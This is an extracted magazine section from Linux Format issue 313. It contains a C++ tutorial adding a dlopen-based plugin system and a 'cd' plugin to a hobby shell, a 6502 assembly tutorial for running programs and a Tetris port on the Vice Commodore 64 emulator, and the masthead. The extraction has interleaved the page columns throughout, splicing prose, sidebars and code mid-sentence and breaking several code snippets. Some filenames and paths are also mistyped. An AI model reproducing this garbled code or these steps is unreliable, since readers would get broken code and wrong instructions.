the + icon, then enter the necessary details about the in ~/.local/share/applications. You’ll now find the app
AppImage. First enter the filename for the .desktop file in the launcher along with the other apps.

88 LXF313 April 2024 www.linuxformat.com


CODING ACADEMY
CODING ACADEMY Write a shell

LXF SHELL
Revealing the shell
behind the shell
Part four!
Don’t miss
next issue,
subscribe on
page 16!
In the last iteration of the shell, Ferenc Deák managed
to reveal the password for his home computer…

n the first three parts of our mini series, the such as lib<name>.so, point to the latest version, aiding

I basic operational aspect of our shell was


solidly established, showcasing its proficiency
in version management and compatibility.
Since CMake is our build system, here’s a snippet on
in executing programs. Now our focus shifts towards how to build shared object files with it. Instead of add_
integrating advanced features. We are happy to call in application , which was used until now, we simply use
the heavy cavalry to extend the shell’s repertoire by a add_library , and also optionally specify the version:
OUR modular plugin architecture. With these refinements add_library(mylibrary SHARED source1.cpp source2.cpp)
EXPERT we not only broaden the range of tasks the shell can set_target_properties(mylibrary PROPERTIES
perform but also contribute to a more versatile and VERSION 1.2.3
Ferenc Deák
sees no way open environment, and provide a framework for SOVERSION 1
back from the anyone willing to enhance its functionality. )
C++ mayhem he To properly implement a flexible and easy-to-use Here, CMakeLists.txt defines a shared library
brought upon plugin architecture, we need to present another basic named mylibrary, and specifies source files to include.
readers with this component of the Linux ecosystem: shared object files.
quick and dirty These files, having the .so extension, are instrumental Plugin loaders
shell, so you just in constructing plugin architectures, offering a dynamic One of the main benefits of shared libraries is that they
have to accept means to augment the existing software functionality. can be dynamically loaded upon request without the
it. C++.
In a plugin system, these shared libraries serve as need to explicitly link to them via a build system. This
modular components, enabling developers to extend step delays the loading of the shared library until the
a base application without altering its core code. user needs it, with the expense that extra code needs
to be written, but it has the advantage that if the user
The .so and the not so (a client application) does not need the functionality
Shared libraries are one of the few basic components provided by a specific library, it does not load it. This
of modern operating systems. In Linux (and other Unix- feature stands at the base of our plugin architecture:
like OSes), they materialise as SO files; under Windows, we will dynamically load the libraries (from now on
they are the infamous DLL files. Generally, they are referred to as plugins) when we start the application,
pivotal components of the OS, facilitating dynamic without knowing how many of them we have, and we
linking, a process where programs access libraries will create a common interface for these plugins in
during runtime rather than compile time. order to correctly integrate into our shell.
Dynamic linking enables flexibility and resource At its simplest, plugin loading can be done like this:
efficiency, as multiple programs can share (or link with) void *handle = nullptr;
a common SO file dynamically. This encourages the void (*pluginFunction)();
The code for
reuse of code, particularly for system libraries and handle = dlopen(“plugin.so”, RTLD_LAZY);
the shell can
frequently employed functions. Changes to shared *(void **)(&pluginFunction) = dlsym(handle,
still be found at
https://github. objects automatically apply to all linked programs, “pluginFunction”);
com/fritzone/ streamlining maintenance and reducing redundancy. const char *dlsym_error = dlerror();
lxf-shell. During program execution, the dynamic linker/ pluginFunction();
loader, often referred to as ld.so or ld-linux.so, loads dlclose(handle);
the necessary SO files into memory and resolves the This short sequence of C code illustrates the
required dependencies, thus reducing the memory dynamic loading of a shared library in C using the
footprint and startup time of the application. dlopen function (from the dlfcn.h header).
Shared object files adhere to a naming convention, At the start, two variables are declared: void *handle
typically lib<name>.so.major.minor. Symbolic links, and void (*pluginFunction)(). The former will store a

90 LXF313 April 2024 www.linuxformat.com


Write a shell CODING ACADEMY

handle to the loaded dynamic library, while the latter is command line as an external application, and for this
a function pointer that will be used to call a function feature, we’ll use the cd command as a plugin.
from the library. To keep it simple, at this stage we just 2. Prompt display: the plugin(s) will be called when the
use a void function with no parameters, because C shell prints the prompt for notifying the user to enter a
function pointers can grow to humongous beasts after new command to execute. We will also use the plugin
reaching a certain level of maturity. handling the cd command as an example, by printing
The dlopen function is then used to load the shared the current working directory in the prompt.
library named plugin.so dynamically. The RTLD_LAZY However, we want to keep it simple. In order to
flag indicates that symbol resolution should occur as not to overly confuse, we will stick only to what is
needed during program execution. necessary for presenting the functionality related to
Following the library loading and successful error this tutorial, while keeping the architecture as flexible
testing, which was omitted from the code sequence, as possible to incorporate future features.
the dlsym function is employed to look up the symbol
named “pluginFunction” in the dynamically loaded The interface
library. The result is cast into the function pointer The following interface is in the file plugin.h, which
pluginFunction, enabling subsequent invocation of the we conjured up to introduce the plugin architecture to
specified function, and again we have totally ignored all our shell. The first construct is just a plain enum, for
errors, but to quickly exemplify the usage of the dlerror introducing all the plugin types accessible by the shell:
function, we allowed one line to creep in. It captures enum class PluginClass {
any errors that may have occurred during the dlsym PLUGIN_ALL = 0,
operation, allowing for appropriate error handling. PLUGIN_COMMAND = 1,
After symbol resolution, the pluginFunction is PLUGIN_PROMPT = 2,
invoked, assuming it has a void return type and no PLUGIN_UNKNOWN = 255
parameters. Finally, the dlclose function is called to };
unload the dynamic library, freeing up resources. As you might guess, these are the types that the
In the current iteration of our shell, we will stick to shell supports for the moment, presented a few lines
these basic functions; however, large apps that are above, so let’s not waste more space on this. However,
intended to run on multiple platforms under multiple the following topic will be a lot more intriguing…
OSes are known to have a platform independent
wrapper around these – that’s not the case for us. Decisions, decisions…
Now it’s time to explain a crucial design choice that
A proper introduction programmers must make when embodying a plugin
For a plugin architecture to work properly, the plugins architecture. Certain plugin architectures restrict a
need a proper introduction to the system, so we must particular functionality to a single library, while others
create an interface that is suitable for our plugin loader facilitate the inclusion of multiple functionalities in the
and that needs to be implemented for all the plugins same library. Opting for a more entertaining approach,
that will be loaded by the shell. Each plugin architecture we decided to adopt the latter, necessitating more
is unique – there is no one size fits all methodology. intricate structures while granting increased flexibility.
For the current stage, the following will be the The following structure is introduced to describe a
expansion lines for our shell, which will be incorporated single plugin, offering a specific functionality of the
into pluggable features implemented in the plugins: specific plugin class:
1. Internal command handling: the(se) plugin(s) will be struct PluginDescriptor {
executed before the shell tries to execute the given PluginClass type;

THE ADVANTAGES OF PLUGIN ARCHITECTURES


Plugin architectures are fundamental Serving as dynamic modules, often Standardised interfaces, plugin
frameworks in Linux systems, written independently, plugins facilitate architectures ensure
epitomising flexibility and extensibility the execution of specific tasks within compatibility across a spectrum of
while empowering software to applications while bolstering the software and this uniformity streamlines
dynamically load and augment program’s functionality when invoked. the integration of diverse plugins,
functionality, enhancing adaptability. Modularity at their core, plug-in fostering interoperability.
Adaptability, the cornerstone of plug-in architectures foster seamless Driving innovation in software
architectures, allows programs to adjust interaction and afford software development, plugin architectures
and expand their capabilities seamlessly, developers the flexibility to modify, champion agility and innovation, while
enabling the integration of new features replace or introduce new plugins their adaptability and modular nature
without altering the core codebase. without affecting the entire system. foster collaboration, propelling
Supporting a myriad of applications, Unparalleled extensibility, plugins continuous evolution and enhancement.
plugin architectures accommodate elevate the prowess of software by Linux’s architecture grants many
diverse functionalities and they serve providing optional functionalities innovative technology enhancements.
as gateways, enabling software to tap for the end users, who can tailor Plugins are one of those, and this
into a reservoir of supplementary tools their experience by cherry-picking instalment of our shell article explains
and modules. plugins that suit their needs. how to create one from the ground up.

www.techradar.com/pro/linux April 2024 LXF313 91


CODING ACADEMY Write a shell

std::string functionName; we’ll enter that trapdoor when we are in front of it. Or
}; above it. It depends…
As the name suggests, this structure describes one The following lines of code might look like black
plugin offering a specific functionality, and to adhere to magic for those uninitiated in the mystical art of C++,
the design decision above, we need the name of the but no worries, we will shed light on them very soon.
function that implements this specific functionality. Behold, these foreboding lines present themselves:
The next section of the header is: struct PluginBase {
extern “C” virtual ~PluginBase() = default;
{ virtual PluginClass getClass() const = 0;
std::vector<PluginDescriptor> };
providePlugins(PluginClass pc); template<typename C> struct Plugin : public
void initialize(); PluginBase {
void destroy(); explicit Plugin(PluginDescriptor pdescriptor) :
} descriptor(pdescriptor) {}


Here we declare three functions: PluginDescriptor descriptor;
providePlugins, as the name suggests, provides using CFUNC_PTR = C;


the list of plugins that are provided by this library. std::function<CFUNC_PTR> handler;
initialize is the function responsible for initialisation };


of the shared library and corresponding plugins. struct CommandPlugin : public Plugin<PLUGIN_
destroy is the function that is called when the shell COMMAND_PTR> {
shuts down, and unloads all the plugins. It can be used CommandPlugin(PluginDescriptor d) : Plugin(d) {}
to properly free the allocated resources for the plugins. PluginClass getClass() const {return
Soon we will see in the implementation of the PluginClass::PLUGIN_COMMAND;}
dirchange plugin offering functionality for the cd };
command how these methods can be properly used. The PluginBase struct defines an abstract
The use of extern “C” in C++ code is a way to base class with a pure virtual function for retrieving
indicate that the functions within that block should be the class type of a plugin. The templated Plugin
treated as having C language linkage rather than C++ struct extends this base, allowing the creation of
linkage. Linkage in this context refers to the rules plugins with specific function pointer types. It
governing how names (such as function names and contains a std::function member for storing the
variable names) are resolved and associated between plugin’s function pointer – in other words, the method
different parts of a program. C and C++ have different with this name will be called. The CommandPlugin
linkage specifications; for example, C++ compilers use structure is a concrete implementation of a plugin that
name mangling to encode additional information about handles the commands, specialising in command-
a function or variable into its name. This is done to related functionality. It inherits from the templated
support function overloading and to encode type Plugin and sets its function pointer type to PLUGIN_
information, while C does not perform name mangling. COMMAND_FPTR, implementing the required
The names of functions are preserved exactly as they getClass() function to denote its class as
appear in the source code, making it more convenient PluginClass::PLUGIN_COMMAND.
for us to use them with the techniques presented. To summarise all this, the purpose of this slightly
confusing class hierarchy is to have a common way
Distinct interface of dealing with the plugins (hence the PluginBase
The next interesting line in the header file is: class) – in other words, to store them and then call
typedef std::string PLUGIN_COMMAND_FPTR(const the corresponding function in the least painful way
std::string&); possible. This will be exemplified by the following
Here we have defined a new type, called PLUGIN_ code in our main.cpp file:
COMMAND_FPTR, which is an alias for a function for(const auto& pc : pluginContainers) {
pointer type that represents a function taking a const for(const auto& p : pc.plugins) {
std::string& parameter and returning a std::string. This if(p->getClass() == PluginClass::PLUGIN_
kind of type alias can be particularly useful when you COMMAND) {
want to define function pointer types concisely, making std::string commandPluginReturns =
the code more readable and maintaining a clear (dynamic_cast<CommandPlugin&&>(*p)).
understanding of the function signature. handler(command);
The command handler plugin will take in a string, if(!commandPluginReturns.empty()) {
representing the command that it is supposed to if(unquotedCharacter(command))
execute, then as per our convention, if it executes the runPipedCommands(splitStringWith
given string successfully as the command the plugin is Delimiter(command, “|”));
supposed to deal with, it will return an empty string, else
otherwise it will return the string itself. runAsSingleCommand(command);
Not all plugins need this interface; for example, a }}}}
plugin that reacts to different keypresses also needs Please note that in this guide we have presented
to receive the pressed key, and the plugin that prints only the internal command handling plugins, so we
something to the prompt needs to have no parameters encourage you to browse the code found at https://
at the current stage where the shell is. But for the github.com/fritzone/lxf-shell to see how the prompt
moment, let’s focus on what we have on the table, and handling plugin is implemented and used, and also to

92 LXF313 April 2024 www.linuxformat.com


Write a shell CODING ACADEMY

check out where the mysterious pluginContainers cmd = cmd.substr(2);


variable was conjured up from. std::filesystem::path directoryPath(cmd);
if (!directoryPath.is_absolute())
Dirhandler plugin directoryPath = std::filesystem::absolute
Now it’s time to present the plugin responsible for (directoryPath);
handling directory changes. It is found in cd.cpp in the std::filesystem::current_path(directoryPath);
plugins directory and dirhandler subdirectory, because, currentDirectory = fs::current_path();
well, it handles directories. The first important part is: return “”;
std::vector<PluginDescriptor> plugins = { }
PluginDescriptor{PluginClass::PLUGIN_COMMAND, return in;
“cd_impl”}, }
PluginDescriptor{PluginClass::PLUGIN_PROMPT, The function checks if the command begins with
“print_cwd”} cd . If yes, it extracts the specified directory path from
}; the command, converts it to an absolute path if
As you can guess, these are the plugins provided by necessary, and sets the current working directory
the library. For the moment, we provide two, with more accordingly. Then it updates the currentDirectory
possible at a later stage, and this vector is returned by variable with the new path and returns an empty string
the providePlugins function. The functions initialize to signify successful execution of the cd command.
and destroy have already been discussed. If the input command does not start with cd , it returns
The next interesting part is: the input string unchanged. In order to be able to load
namespace fs = std::filesystem; it by name, the function is explicitly using C linkage.
fs::path currentDirectory; Now we can finally test the cd command.
Since we are using C++20, we have access to the
standard filesystem modules, so we happily use them. Behold the future!
With these commands, we have declared a variable, The initial phase of the shell series has gracefully
called currentDirectory, which as the name suggests, drawn to a close. After the current chapter, the author
will hold the value of the current directory. will channel their creative energy towards different
As the plugins vector’s name suggests, there will be pursuits. Although the present focus may shift, it’s
two functions implementing the required functionality: worth noting that the exploration of the shell and its
cd_impl and print_cwd. The function print_cwd is intricacies remains an integral part of our narrative
trivial, it just returns the currentDirectory for the shell because there are so many unexplored features that
to use at its convenience. However, cd_impl is more still will be worth exemplifying through various code
interesting. The rudimentary implementation is this: snippets, such as command-line completion, low-level
extern “C” std::string cd_impl(const std::string& in) { terminal handling, and other delicacies. So, stay tuned
std::string cmd = in; – we’ll meet at a later stage shelling around. And do get
if(cmd.substr(0, 2) == “cd”) { in touch if you have queries concerning the topic.

THE ART OF UNIT TESTING


As our shell project expands, detect and rectify errors, resulting in modularisation. Breaking up the existing
incorporating more code and complexity, more robust and maintainable software. monolithic code into manageable
ensuring its correct operation becomes We selected Catch2 as the unit components improves readability and
crucial. One effective method to achieve testing framework due to its simplicity project comprehension, and facilitates
this is through early integration of unit and ease of use. Developed by Phil concurrent development and debugging.
testing into the development process. Nash, it stands out for its design, robust We initiated this process by extracting
Unit testing is a software development features, and user-friendly learning non-shell-related functionalities into
practice wherein individual components curve. It allows developers to write tests separate header and source files, such
(units), mostly functions within a source in a natural and readable manner using C as utils.h and utils.cpp, and modified
file, are systematically tested in isolation macros that resemble plain English. CMakeLists.txt accordingly. We have
to confirm their functionality. These The process of incorporating Catch2 added a new target in the project, and
tests focus on verifying the correctness into our project involves adding it to the now, issuing the magic ./lxf-shell-tests
of specific functionalities within the CMakeLists.txt file and creating a test command from the build/tests directory
code, ensuring each function behaves file (such as test.cpp) where unit tests runs all the implemented unit tests.
as expected under various conditions. are defined. The tests are then added Catch2 deserves a tutorial of its own,
Unit testing aids in identifying bugs to the build system using CMake. With but for a comprehensive understanding,
early on in the development process, these steps completed, running make you are advised to visit https://github.
enhancing code reliability and facilitating test executes the tests, providing a clear com/catchorg/Catch2, and in order to
maintenance by serving as a safety net overview of their success or failure. explore further unit tests related to the
for changes. By isolating and testing To introduce proper unit testing, project, please visit its GitHub repo at
individual units, developers can swiftly there was a slight need for code https://github.com/fritzone/lxf-shell.

THE LXF SHELL WILL RETURN! Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux April 2024 LXF313 93


CODING ACADEMY 6502 code
Part two!
Don’t miss

EASY 6502 next issue,


subscribe on
page 16!

Develop games
Credit: https://skilldrick.github.io/easy6502

for the CBM-64


David Bolton demonstrates how to develop games in 6502 for the
Commodore 64 and run them on the Vice emulator in the 21st century!

ast month, we looked at the 6502 assembly the final straw was seeing a jmp to a label be out by

L language and wrote a short program to sort


numbers and run it on a web-based emulator.
two bytes in the disassembled code, causing it to
crash. This is why you should always inspect your 6502
This time, the code will run on the Vice emulator, which machine code with a disassembler.
is exactly like if you’re running it on a real CBM-64. To Some of this may be our fault, but xa65 worked
OUR write programs for it, we have to do the following. without any fuss. You can find its man pages at https://
1. Write the 6502 source code. bit.ly/lxf313jam and install it with:
EXPERT 2. Assemble it into a binary file. $ sudo apt install xa65
David Bolton 3. Load the file into the Vice emulator and run it. Here’s a short program to test that we can both
used to write Writing 6502 code is easy enough [steady on now assemble code and run it in the Vice emulator. All it
Commodore 64 – ed] and you can use your favourite editor. For step does is put characters on screen. You can see a list of
games for a two, though, we need a decent assembler and the one CBM-64 character codes (aka PETSCII) at https://sta.
living back in we’re using is xa65. You might find it easier if you edit c64.org/cbm64pet.html. Video memory in character
the mists of the source files using VS Code. There are a few 6502 mode runs from $0400 upwards – just place values in
time, and taught extensions for it, including assemblers and formatters. $0400, $401 and so on and they’ll appear on screen.
himself Z80 Enter 6502 in the extension box to see them. There’s The line * = $2000 is needed for all programs
by writing a also a VS65 debugger extension that works with Vice assembled with xa. It means the code is meant to
6502 assembler to let you visually debug it, but that wasn’t used here. be loaded at address $2000. Other assemblers have
in Z80. For now, we’ll assemble the code from a terminal: a different way of specifying the load address.
$ dasm then xa65 ; Test asm program
Originally, this was written using the dasm (https:// * = $2000
dasm-assembler.github.io) assembler. But after SCNKEY = $FFE4
struggling with it for a few days, it turned out to have
too many issues and the decision was made to switch LDX #$10
over to xa65. Dasm had issues with label names and LDA #$64

If you have
multiple
source files
and are calling
subroutines
from one file to
another, create
a jump table
at the start of
each separate
source file with
a JMP routine
for each routine,
so you don’t
have to worry
Using xa to
about changes
assemble first.64
to those with the -v option.
source files.

94 LXF313 April 2024 www.linuxformat.com


6502 code CODING ACADEMY

GET YOURSELF A VICE


This is a pretty nice emulator – $ cd ~/Downloads
open source and cross-platform. $ tar -zxvf vice-3.6.tar.gz
Unfortunately, it’s a little fiddly to $ cd vice-3.6.0/data
set up. First do the usual sudo There’s a load of folders but
apt update to bring your PC up we’re just interested in the C64
Vice Current Directory setting – this is needed when you first load to date. Next, install Vice with: and DRIVES folders. Use:
PRG files from disk. $ sudo apt install vice $ cd C64
However, we need to get the $ sudo cp chargen kernal basic /
LOOP1 STA $0400,X CBM-64 Basic, Chargen and usr/lib/vice/C64
DEX Kernal ROMs, and some others. Then:
ADC #$1 Those are included in the $ cd ../DRIVES
BNE LOOP1 Vice emulator source, so $ sudo cp d1541II d1571cr dos* /
; // wait for a keypress first download that from: usr/lib/vice/DRIVES/
WAIT1 JSR SCNKEY http://bit.ly/lxf313Vice. We’re almost there. Now go
BEQ WAIT1 This has a lot of files but the to the C64 folder in /usr/lib/
one we want is vice-3.6.tar.gz. vice/C64:
; Return to BASIC nicely This is well down the page. If $ cd /usr/lib/vice/C64
; from Lemon64.com forum there is a later version, use that $ sudo x64sc
LDA #$37 and change the Tar statement. Or:
STA $01 We need to create two folders $ sudo x64
JSR $FF8A ; INit Vector table – C64 and DRIVES – under /usr/ And Robert’s your uncle. The
JSR $FF81 ; Init VIC++ lib/vice: x64sc version is newer, slightly
JSR $FF84 ; Init CIA etc, $ cd /usr/lib/vice slower but more accurate.
RTS $ sudo mkdir C64 Make sure that it’s working
Save this file with a name such as first.64. $ sudo mkdir DRIVES as expected by doing a print
The actual name and extension aren’t important. To Now extract the Vice files from message, as the screenshot
assemble it, use the command below. The second the downloaded file using Tar: (below) shows.
parameter is the name the machine code file will have.
$ xa first.64 -o first.prg
If it assembles, it won’t output anything on the
screen. It normally only outputs errors. You can add
a -v parameter and it shows some credits and
information (see screenshot, facing page).
Now you should see a first.prg file about 31 bytes
long in the same place as first.64. This is the machine
code file. Now we need to run it.

Loading your CBM-64


There are several file formats available. The simplest
format, and the one we’ll use, is PRG. This consists of
a two-byte header followed by the rest of the data.
The two-byte header is the address that the data is
loaded to in memory. If you remember the memory
map (https://bit.ly/lxf313map) from the first article,
then a good address to use is $2000. Hence the
* = $2000 line. CBM-64 running on the Vice emulator.
The current working directory defaults to /usr/lib/
vic/C64 but that’s not a good place to output files as
it’s owned by root. Change it to where you are editing
source files and where the assembled program is put. When you’ve set this, return to the Preferences
On the Vice Preferences menu, click Settings and Host. menu and click Save Settings. Note, the current version
You can see Current Directory highlighted (see above). of Vice for Linux does not save the current working With assembly
Click Browse > Other Locations > Computer > Home directory, which means every time you load Vice, it language,
then your username and the folder where first.asm is. needs to be set again. It’s a pain, so if you’re not sure if constants and
you’ve set it, use the pwd command in the Vice labels start on
monitor to check where it thinks it is. the left of each
line. Opcodes
Vice monitor is your friend always start
indented, which
It took a while to get into Vice. It’s a very powerful
is usually a tab
program with many customisation options, but it has
but can be just
something of a learning curve. Assuming you’ve set the one space.
The Vice monitor screen when first opened. current working directory in Vice and have successfully

www.techradar.com/pro/linux April 2024 LXF313 95


CODING ACADEMY 6502 code

The 0 is device 0, which is the disk. Note 2000 and


$2000 are the same. This should load the file and tell
Give names to you what address it loaded into and the number of
system routines, bytes that were loaded:
such as SCNKEY Loading first.png from 2000 to 801E (001F bytes)
= $FFE4. We can look at this in memory with the d command
You’ll never to disassemble the RAM at the specified address. Type
remember what
in d 2000 and press Enter. Now let’s run it with the g
$FFE4 means
address command specifying the address:
but SCNKEY
is a bit more g 2000
meaningful, We got the DEX and ADC #$01 instructions in the
and when you wrong order, so instead of showing 16 characters, it did
have several the whole 256, because the BNE kept branching back
to remember, until the accumulator overflowed and returned to 0.
you’ll be glad The JSR $FFE4 is a call to a system routine which
that you returns non-zero if a key is pressed. So, the BNE
named them. $2004 keeps looping round until a key is pressed. It
then exits and returns to the Basic interpreter. That’s
what the three JSRs do.
You’ll find that the Vice monitor doesn’t return after
the g command. First hit a key on the CBM-64 screen
This is Vice’s pop-up menu for File. so that it drops through the WAIT1 loop, then kill the
monitor window and reopen it. It doesn’t lose anything
run xa to generate a PRG file, do the following. On the when you do that.
Vice File menu, click Activate Monitor. This opens
another window and gives a cryptic display (see Development cycle
screenshot, bottom, previous page). There’s been a lot there, so let’s sum it all up:
There are many commands available. To see them, 1. Edit your source files.
simply press ? and hit Enter. 2. Use xa to assemble the source into machine
We’ll load the first.prg file in a moment. First type in code in a PRG file.
pwd to see the current working folder, to check you 3. Use the Vice monitor to load the machine code
are loading the file from the correct folder. Now type into RAM.
The output the code below to block load the first.prg file into RAM: 4. Run it.
of first.prg. bl “first.prg” 0 2000 There’s a lot more to the Vice monitor. It will let you
do line-by-line debugging and set breakpoints. That’s
something that wasn’t available back in the day and
would have made life a lot simpler.

Games development
The Commodore 64 is best known for being a games
machine. As well as a three-channel sound chip, it
has eight hardware sprites that can be multiplexed
in software to allow more on screen. Also, there is a
GAME DEVELOPMENT graphics mode; in fact, programmers in the demo
scene have learnt to do remarkable colour graphics.
The author developed several about three months to write. For some examples take a look here: https://bit.ly/
games back in the 1980s. These Dark Empire was first developed lxf313demo.
include Dark Empire, a player as a ZX Spectrum game. A line- There isn’t enough room or time to create a game,
versus computer version of by-line conversion from Z80 to so instead here is an open source arcade game, a
classic Empire, in which you 6502 took one very gruelling simple Tetris by programmer Christian Jauvin – https://
conquer a computer-generated month, including seven all-night github.com/cjauvin. The rest of this article is about the
hidden world starting with one working sessions. There was a edits you need to do to get it to compile with the xa65
city and building armies and very tight deadline to meet! assembler. The original was assembled using a Java
warships. Johnny Reb II was an The games were about 5,000 assembler called KickAssembler, and lines 9-14, which
award-winning American Civil lines long, under 8,000 bytes, detailed that, were removed. All other comments,
War game where Confederates and developed on a Tatung including the original author, have been left in.
are trying to capture a bridge and Einstein; a CP/M computer. A
Union forces are trying to hold parallel cable connected it to CBM-64 try to assemble!
on to it. Bulge is a WWII game in the CBM-64 and a small loader There are a number of 6502 assemblers and they vary
which the computer-played program fetched the data, put it in things like the opcodes for assigning data, constants,
Germans are trying to break in RAM, then jumped to it. They load address, even whether labels have a terminating
through the Ardennes. can be played at C64Online.com. colon. Getting a game to assemble with a particular
With the exception of Dark Just search for Bulge, Dark assembler can be a tedious task if the code you are
Empire, the other two each took Empire or Johnny Reb II. trying to use was not written using that assembler.
Another issue is whether all the code is in one file or

96 LXF313 April 2024 www.linuxformat.com


6502 code CODING ACADEMY

multiple ones. We looked at another Tetris but it had


several source (https://github.com/wiebow/tetris.c64)
files, so a lot more editing was needed.
Download the Tetris ZIP file from https://github.
com/cjauvin and unzip it. The file has two source files,
math.asm and tetris.asm, and a Readme.md.
Assemble it with this command – it takes the source
file and outputs tetris.prg:
$ xa testris.asm -o tetris.prg >asm.txt
Xa65 is fast – even with a 1,000-line source file, it’s
almost instantaneous.
The >asm.txt puts all output into the text file asm.
txt, so you can view the errors in a text editor; it beats
having to scroll upwards.

Go for xa65
Here are the instructions to get it assembling under
xa65 without any errors. Comment or remove line 32
and change line 34 to * = $2000 .
Add a jmp main just before line 35, which has the
label frozen:. The label main is where the program
starts and jmp main lets you start it at $2000 and jump Disassembly
straight to the main code. of first.prg.
Merge the file math.asm into tetris.asm; anywhere
will do – in this case, just after the piece_j bytes around
line 105. Remove the .import statement.
The rest of the changes take 10-15 minutes. The 00 - BRK
main change is to edit labels that start with a ! and …
remove the !. These are local labels that xa65 doesn’t The disassembly interprets the 00 value as the BRK
support, so number them by adding a digit or character instruction. It should be possible to have PRG files
– so, when you see !loop, change it to loop1, the next autostart, so that all you need to do is drag a file in Files
!loop label is loop2, and so on. These labels often have on to the Vice window. However, it hasn’t worked so
a + or – depending on whether the branch is forward to far! It’s possible that the PRG format isn’t quite correct.
a local label or backwards. From this you can figure out The screenshot (below) shows the working game
if the branch is backwards or forwards. For instance, running in the Vice emulator. You can use the WASD
line 289 is a !loop and on line 311 there’s a bne !loop-. keys as described in lines 10-14 of tetris.asm to play.
Line 319 is another !loop and on line 325 there’s Have fun!
another bne !loop-. Line 407 has a jmp !continue+
which jumps to the !continue at line 410. Another
change is the .fill on line 35, which became .dsb. This
allocates an array of 1,000 bytes, each set to 0 initially. Once you have
It’s a useful exercise to take someone else’s code learnt 6502
and get it assembling, but if you get fed up, just fetch assembly
the working tetris.asm file on GitHub: https://github. language,
com/David-H-Bolton/Projects/. consider using
If you want to see all the differences between the the CC65
original and the xa65 version, rename the original C compiler
tetris.asm to, say, original.asm and copy it into the https://cc65.
github.io to
same folder as the xa65 tretris.asm. Then run the diff
write code. You
command to see all the differences:
can write 10
$ diff original.asm tetris.asm lines of C in the
This outputs a listing showing the old and new lines. same time as 10
lines of 6502,
Running Tetris on Vice so it’s way more
Open the Vice monitor then do: productive. The
bl “tetris” 0 2000 CC65 compiler
d 2000 outputs 6502
g 2000 assembly and
you can target
The disassembly shows the initial JMP followed by
the Commodore
a thousand BRK statements.
64 and other
4C 2C 2B – JMP $2B2C systems.
00 - BRK Tetris running in the Vice emulator.

FOR MORE RETRO CODING FUN… Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux April 2024 LXF313 97


NEXT MONTH

The #1 open source mag

Future Publishing Limited, Quay House, The Ambury, Bath, BA1 1UA
Email [email protected]
EDITORIAL

LXF31s4ale
Editor-in-chief Neil Mohr
Art editor Fraser McDermott
Production editor Katharine Davies

will be on
Group editor-in-chief Graham Barlow
Group art director Warren Brown

Tuesday 2nd
Editorial contributors
Desire Athow, Mats Tage Axelsson, Jonni Bidwell, David Bolton,

April 2024
Neil Bothwick, Stuart Burns, James Capell, Christian Cawley,
Alex Cox, Ferenc Deák, Jonas P DeMuro, Nate Drake, Tam Hanna,
Dave James, Paul Lilly, Jon Masters, Nick Peers, Les Pounder,
Michael Reed, Mayank Sharma, Shashank Sharma, Jarred Walton
Cover illustration Magictorch.com
Raspberry Pi is a trademark of the Raspberry Pi Foundation.
Tux credit: Larry Ewing ([email protected]).
Content production Adequate Media Limited
ADVERTISING
Commercial sales director Clare Dove
[email protected]
Advertising director Lara Jaggon
[email protected]
Account director Andrew Tilbury
[email protected]
INTERNATIONAL LICENSING
Head of print licensing Rachel Shaw
Linux Format is available for licensing and syndication.
To find our more contact us at [email protected]
or view our content at www.futurecontenthub.com
NEW SUBSCRIPTIONS & BACK ISSUES
Web www.magazinesdirect.com
UK 0330 333 1113 World +44 (0) 330 333 1113

MICROSOFT
EXISTING SUBSCRIPTIONS
Web www.mymagazine.co.uk
UK 0330 333 4333 World +44 (0) 330 333 4333
Subscription delays: Disruption remains within UK and international
delivery networks. Please allow up to seven days before contacting us
about a late delivery to [email protected]
CIRCULATION

INVASION!
Newstrade & retail category director Ben Oakden
PRODUCTION AND DISTRIBUTION
Group head of production Mark Constance
Production manager Nola Cokely
Senior ad production manager Jo Crosby
Digital editions manager Jason Hudson
THE MANAGEMENT
Managing director technology group Paul Newman
Global head of design Rodney Dive
Commercial finance director Tania Brunning
Printed by Wyndeham Peterborough, Storey’s Bar Road,

When an immovable penguin meets an unstoppable


Peterborough, Cambridgeshire, PE1 5YS
Distributed by Marketforce, 5 Churchill Place,
Canary Wharf, London, E14 5HU

corporation, always bet on the penguin… www.marketforce.co.uk


For enquiries email: [email protected]
Order and access back issues: If you are an active subscriber, you have instant access to back issues through your iOS or
Android device/s. Your digital magazine entitlement is available at no additional cost and no further action is required.

What’s in Wine 9?
Pocketmags library may not have access to the full archive of digital back issues. You will only be able to access the digital
back issues as long as you are an active subscriber.
To purchase single back issues (print format only) visit: magazinesdirect.com (click on 'Single issues' tab) Or email: help@
magazinesdirect.com For further help call: +44(0)330 333 1113 Lines are open Mon- Fri 8.30am-7pm and Sat 10am-3pm
UK time. Magazinesdirect.com is owned and operated by Future Publishing Limited.'

Enjoy a host of performance increases from Valve’s Proton


The BAR rates for Linux Format are £84.37 for UK, €171 for Europe, $194 for USA, £149 for Rest of World
Linux® is the registered trademark of Linus Torvalds in the US and other countries. GNU/Linux is abbreviated to Linux
throughout for brevity. Where applicable, code printed in this magazine is licensed under the GNU GPL v2 or later. See

and Vulkan graphics driver updates to Wayland support.


www.gnu.org/copyleft/gpl.html. All copyrights and trademarks are recognised and respected.
Disclaimer All contents © 2024 Future Publishing Limited or published under licence. All rights reserved. No part of this
magazine may be used, stored, transmitted or reproduced in any way without the prior written permission of the publisher.
Future Publishing Limited (company number 2008885) is registered in England and Wales. Registered office: Quay

Improve your timing


House, The Ambury, Bath BA1 1UA. All information contained in this publication is for information only and is, as far as we
are aware, correct at the time of going to press. Future Publishing Limited cannot accept any responsibility for errors or
inaccuracies in such information. You are advised to contact manufacturers and retailers directly with regard to the price of
products/services referred to in this publication. Apps and websites mentioned in this publication are not under our
control. We are not responsible for their contents or any other changes or updates to them. This magazine is fully
independent and not affiliated in any way with the companies mentioned herein.

Why work harder when you can work smarter? We test the
If you submit material to us, you warrant that you own the material and/or have the necessary rights/permissions to
supply the material and you automatically grant Future Publishing Limited and its licensees a licence to publish your
submission in whole or in part in any/all issues and/or editions of publications, in any format published worldwide and on

time tracking and management tools to ease your busy life.


associated websites, social media channels and associated products. Any material you submit is sent at your own risk and,
